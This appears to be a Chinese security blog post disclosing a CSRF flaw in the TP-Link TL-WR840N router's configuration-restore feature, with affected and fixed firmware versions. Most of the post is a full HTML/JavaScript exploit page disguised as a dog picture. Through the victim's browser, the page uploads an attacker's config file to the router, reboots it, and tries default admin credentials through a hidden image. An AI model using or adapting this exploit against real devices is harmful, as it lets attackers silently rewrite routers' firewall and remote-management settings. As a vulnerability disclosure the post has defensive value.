- A+
所属分类:硬件安全
TP-Link
TL-WR840N路由器的管理后台提供了很多配置路由器的功能,其中一个功能是导入一个已经存在的配置文件,这个功能存在CSRF漏洞,攻击者可以诱使路由器管理员访问一个恶意的网站,然后利用这个漏洞导入一个攻击者构造的配置文件,从而可以修改包括路由器的防火墙、远程管理等所有的配置项,当然,如果路由器管理员没有修改管理后台的密码,攻击成本就更低了,都不需要欺骗管理员登陆后台了。
攻击者可以在自己的路由器中设置一些配置项,然后将配置文件导出,就可以拿来doanythingyouwant了~
图一显示POC(概念验证)运行之前的配置情况
图二显示运行POC的情况
图三显示POC运行完之后,配置已经被改了
<head><title>Cool Dog Pic</title></head>
<body>
<script type="text/javascript">
exploit();
function getConfigureationFile(file){
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET",file,false);
xmlhttp.overrideMimeType("text/plain; charset=x-user-defined");
xmlhttp.send(null);
return xmlhttp.responseText;
}
function uploadFileToRouter(fileData, filename){
var boundary = "367815278484079563322656070";
var body = '';
body += '------------------------' + boundary + '\r\n';
body += 'Content-Disposition: form-data; name="filename"; filename="config.bin"\r\n';
body += 'Content-Type: application/octet-stream\r\n';
body += '\r\n';
for (var i = 0;i<fileData.length;i++){
body += String.fromCharCode(fileData.charCodeAt(i) & 0xff);
}
body += '\r\n';
body += '------------------------' + boundary + '\r\n';
body += 'Content-Disposition: form=data; name="Restore"\r\n';
body += '\r\n';
body += 'Restore\r\n';
body += '------------------------' + boundary + '--\r\n';
var xmlhttp = new XMLHttpRequest();
xmlhttp.post("POST","http://192.168.0.1/incoming/RouterBakCfgUpload.cfg",true);
xmlhttp.withCredentials = true;
xmlhttp.setRequestHeader("Content-Type", 'multipart/form-data;boundary=-------------------------------' + boundary);
xmlhttp.setRequestHeader('Content-length', body.length);
xmlhttp.sendAsBinary(body);
}
function rebootRouter(){
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET","http://192.168.0.1/userRpm/ConfUpdateTemp.htm",true);
xmlhttp.withCredentials = true;
xmlhttp.send(null);
}
function sleep(milliseconds){
var start = new Date().getTime();
for (var i = 0;i<1e7;i++){
if ((new Date().getTime() - start) > milliseconds) {
break;
}
}
}
function exploit(){
sleep(3000);
var c = getConfigureationFile('config.bin');
uploadFileToRouter(c,'config.bin');
rebootRouter();
}
</script>
<img src="http://fc05.deviantart.net/fs71/f/2012/092/a/e/aww__derp_puppy_by_chrisiipoo-d4uuah3.jpg"></img>
<img width='0' height='0' src="http://admin:[email protected]" class="hidden"></img>
</body>
升级到固件3.13.27,build141120或更新的版本。
TL-WR840Nv1(固件版本3.13.27,build140714或更早的)。
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫